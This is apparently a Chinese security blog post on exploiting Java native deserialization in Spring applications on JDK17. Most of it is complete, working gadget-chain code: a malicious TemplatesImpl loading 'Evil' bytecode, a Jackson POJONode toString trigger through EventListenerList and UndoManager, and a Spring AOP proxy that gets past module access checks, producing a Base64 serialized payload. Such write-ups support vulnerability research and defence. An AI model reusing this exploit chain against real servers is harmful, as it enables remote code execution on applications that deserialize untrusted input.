高版本JDK下的Spring原生反序列化
2025-08-25 22:47:59

不继承AbstractTransletTemplatesImpl恶意类

已知实例化恶意类之前会先调用defineTransletClasses()方法

image-20250825152422-4eeexlk

_tfactory不需要进行赋值已经是老生常谈,不多赘述。

已知_transletIndex的默认值为-1,所以构造恶意TemplatesImpl对象时通常继承AbstractTranslet类走进if分支将_transletIndex重新赋值为0

image-20250825152804-unrgzvd

可以通过反射赋值直接将_transletIndex的值改为0

这样就会走进else分支,会向_auxClasses中进行put,这就需要_auxClasses不为空,否则会出现空指针错误,但是无需担心,当_bytescodes.length大于1_auxClasses会被自动赋值一个HashMap

image-20250825153109-0q55vap

只需要向二维数组_bytecodes中多塞入一个其他类的字节码即可

完整构造代码如下:

1
2
3
4
5
6
7
8
9
10
public static TemplatesImpl getTemplates() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
byte[] byteCode1 = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java安全/Java安全进阶/高版本JDK_Spring原生反序列化/SpringUns/src/main/evil/Evil8.class"));
byte[] byteCode2 = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java安全/Java安全进阶/高版本JDK_Spring原生反序列化/SpringUns/src/main/evil/ano.class"));
byte[][] byteCodes = {byteCode1, byteCode2};
setValue(templates, "_name", "kagty1");
setValue(templates, "_bytecodes", byteCodes);
setValue(templates, "_transletIndex", 0);
return templates;
}

EventListenerList触发toString

很经典的一条链子,不多做赘述。

参考文章:

1、https://cwmwebsec.icu/2025/02/11/tabby%E7%9A%84%E5%88%9D%E6%AC%A1%E4%BD%BF%E7%94%A8-%E5%A4%8D%E7%9B%982024CISCN-WEB-solon-master

2、https://infernity.top/2025/03/24/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString/

重温JDK8环境下的Jackson原生反序列化

Spring中默认包含Jackson依赖

调用链如下所示:

1
2
3
4
POJONode.toString
->BaseJsonNode.toString
->com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString
->com.fasterxml.jackson.databind.ObjectWriter#writeValueAsString

writeValueString正是Jackson序列化的入口函数,会调用序列化对象的所有public_getter方法。

完整调用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

public class Main {

public static TemplatesImpl getTemplates() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
byte[] byteCode1 = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java安全/Java安全进阶/高版本JDK_Spring原生反序列化/SpringUns/src/main/evil/Evil8.class"));
byte[] byteCode2 = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java安全/Java安全进阶/高版本JDK_Spring原生反序列化/SpringUns/src/main/evil/ano.class"));
byte[][] byteCodes = {byteCode1, byteCode2};
setValue(templates, "_name", "kagty1");
setValue(templates, "_bytecodes", byteCodes);
setValue(templates, "_transletIndex", 0);
return templates;
}

public static void setValue(Object targetObj, String fieldName, Object value) throws Exception {
Class<?> clazz = targetObj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(targetObj, value);
}

public static byte[] serialize(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(object);
oos.flush();
oos.flush();
return byteArrayOutputStream.toByteArray();
}

public static Object deserialize(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
return ois.readObject();
}

public static void main(String[] args) throws Exception {
//删除BaseJsonNode类中的wirteReplace方法
ClassPool pool = ClassPool.getDefault(); //创建Javassist的类池对象,用于加载和管理目标类的字节码
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); //从类池中获取BaseJsonNode类的CtClass对象,允许后续修改其字节码
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); //通过Java反射获取到writeReplace方法
jsonNode.removeMethod(writeReplace); //移除writeReplace方法
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null); //重新加载修改后的类

TemplatesImpl templates = getTemplates();
POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, pojoNode);

deserialize(serialize(badAttributeValueExpException));
}
}

JDK17的变数

JDK8中之所以能够利用成功,是因为BadAttributeValueExpException.readObject中调用了valObj.toString()

image-20250825172423-bck4qtw

而在JDK17BadAttributeValueExpException.readObject中,valObj.toString()被移除了

image-20250825172611-772myke

这就呼应了前文提到的EventListenerList触发toString,来代替BadAttributeValueExpException

完整代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Vector;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

public class Main {

public static TemplatesImpl getTemplates() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
byte[] byteCode1 = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java安全/Java安全进阶/高版本JDK_Spring原生反序列化/SpringUns/src/main/evil/Evil8.class"));
byte[] byteCode2 = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java安全/Java安全进阶/高版本JDK_Spring原生反序列化/SpringUns/src/main/evil/ano.class"));
byte[][] byteCodes = {byteCode1, byteCode2};
setValue(templates, "_name", "kagty1");
setValue(templates, "_bytecodes", byteCodes);
setValue(templates, "_transletIndex", 0);
return templates;
}

public static void setValue(Object targetObj, String fieldName, Object value) throws Exception {
Class<?> clazz = targetObj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(targetObj, value);
}

public static byte[] serialize(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(object);
oos.flush();
oos.flush();
return byteArrayOutputStream.toByteArray();
}

public static Object deserialize(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
return ois.readObject();
}

public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}

public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}

public static EventListenerList newToString(Object triggee) throws Exception {
EventListenerList list=new EventListenerList();
UndoManager um=new UndoManager();
Vector v=(Vector) getFieldValue(um,"edits");
v.add(triggee);
setValue(list,"listenerList",new Object[]{ByteArrayOutputStream.class,um});
return list;
}

public static void main(String[] args) throws Exception {
//删除BaseJsonNode类中的wirteReplace方法
ClassPool pool = ClassPool.getDefault(); //创建Javassist的类池对象,用于加载和管理目标类的字节码
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); //从类池中获取BaseJsonNode类的CtClass对象,允许后续修改其字节码
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); //通过Java反射获取到writeReplace方法
jsonNode.removeMethod(writeReplace); //移除writeReplace方法
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null); //重新加载修改后的类

TemplatesImpl templates = getTemplates();
POJONode pojoNode = new POJONode(templates);
EventListenerList eventListenerList = newToString(pojoNode);

deserialize(serialize(eventListenerList));
}
}

模块化检测机制 && Bypass

sun.*, com.sun.*, jdk.internal.* 通常都算JDK内部类,不属于官方公开API

java.*, javax.*包下的类一般都是标准公开API

从 JDK 9 开始引入了 JPMS(Java Platform Module System) ,模块之间有明确的访问边界。

TemplatesImpl类在com.sun.*中,属于JDK内部类,若直如JDK8直接进行反序列化,则会发生InaccessibleObjectException报错:

1
Exception in thread "main" java.lang.RuntimeException: com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Invalid type definition for type com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl: Failed to construct BeanSerializer for [simple type, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl]: (java.lang.IllegalArgumentException) Failed to call setAccess() on Method 'getOutputProperties' (of class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) due to java.lang.reflect.InaccessibleObjectException, problem: Unable to make public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() accessible: module java.xml does not "exports com.sun.org.apache.xalan.internal.xsltc.trax" to unnamed module @36f0f1be

这个异常表明反射尝试访问getOutputProperties() 方法。由于 Java 模块系统的限制,getOutputProperties() 方法在 TemplatesImpl 类中无法被访问。

则可以使用SpringAop代理绕过

1
2
3
4
5
6
7
8
9
public static Object templatesImplAopProxy(TemplatesImpl templates) throws Exception{
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{Templates.class}, invocationHandler);
return proxy;
}

来代理Templates接口,由于 Templates是一个公共接口,它的代理对象不受 Java 模块系统对 JDK 内部类的访问控制限制。因此,通过代理对象访问方法时,不会遇到 InaccessibleObjectException 错误。

完整利用链代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Base64;
import java.util.Vector;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;


public class Main {
public static TemplatesImpl getTemplates() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
byte[] byteCode1 = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java安全/Java安全进阶/高版本JDK_Spring原生反序列化/SpringUns/src/main/evil/Evil8.class"));
byte[] byteCode2 = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java安全/Java安全进阶/高版本JDK_Spring原生反序列化/SpringUns/src/main/evil/ano.class"));
byte[][] byteCodes = {byteCode1, byteCode2};
setValue(templates, "_name", "kagty1");
setValue(templates, "_bytecodes", byteCodes);
setValue(templates, "_transletIndex", 0);
return templates;
}

public static byte[] serialize(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(object);
oos.flush();
oos.flush();
return byteArrayOutputStream.toByteArray();
}

public static Object deserialize(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
return ois.readObject();
}

public static void setValue(Object targetObj, String fieldName, Object value) throws Exception {
Class<?> clazz = targetObj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(targetObj, value);
}

private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz != null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
} }
return method;
}

public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}

public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}

public static EventListenerList newToString(Object triggee) throws Exception {
EventListenerList list=new EventListenerList();
UndoManager um=new UndoManager();
Vector v=(Vector) getFieldValue(um,"edits");
v.add(triggee);
setValue(list,"listenerList",new Object[]{ByteArrayOutputStream.class,um});
return list;
}

public static Object templatesImplAopProxy(TemplatesImpl templates) throws Exception{
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{Templates.class}, invocationHandler);
return proxy;
}

public static void main(String[] args) throws Exception {
//删除BaseJsonNode类中的wirteReplace方法
ClassPool pool = ClassPool.getDefault(); //创建Javassist的类池对象,用于加载和管理目标类的字节码
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); //从类池中获取BaseJsonNode类的CtClass对象,允许后续修改其字节码
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); //通过Java反射获取到writeReplace方法
jsonNode.removeMethod(writeReplace); //移除writeReplace方法
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null); //重新加载修改后的类

TemplatesImpl templates = getTemplates();
POJONode pojoNode = new POJONode(templatesImplAopProxy(templates));
EventListenerList eventListenerList = newToString(pojoNode);

String serString = Base64.getEncoder().encodeToString(serialize(eventListenerList));
System.out.println(serString);
}
}

image-20250825221228-xmvahta

上一页
2025-08-25 22:47:59
下一页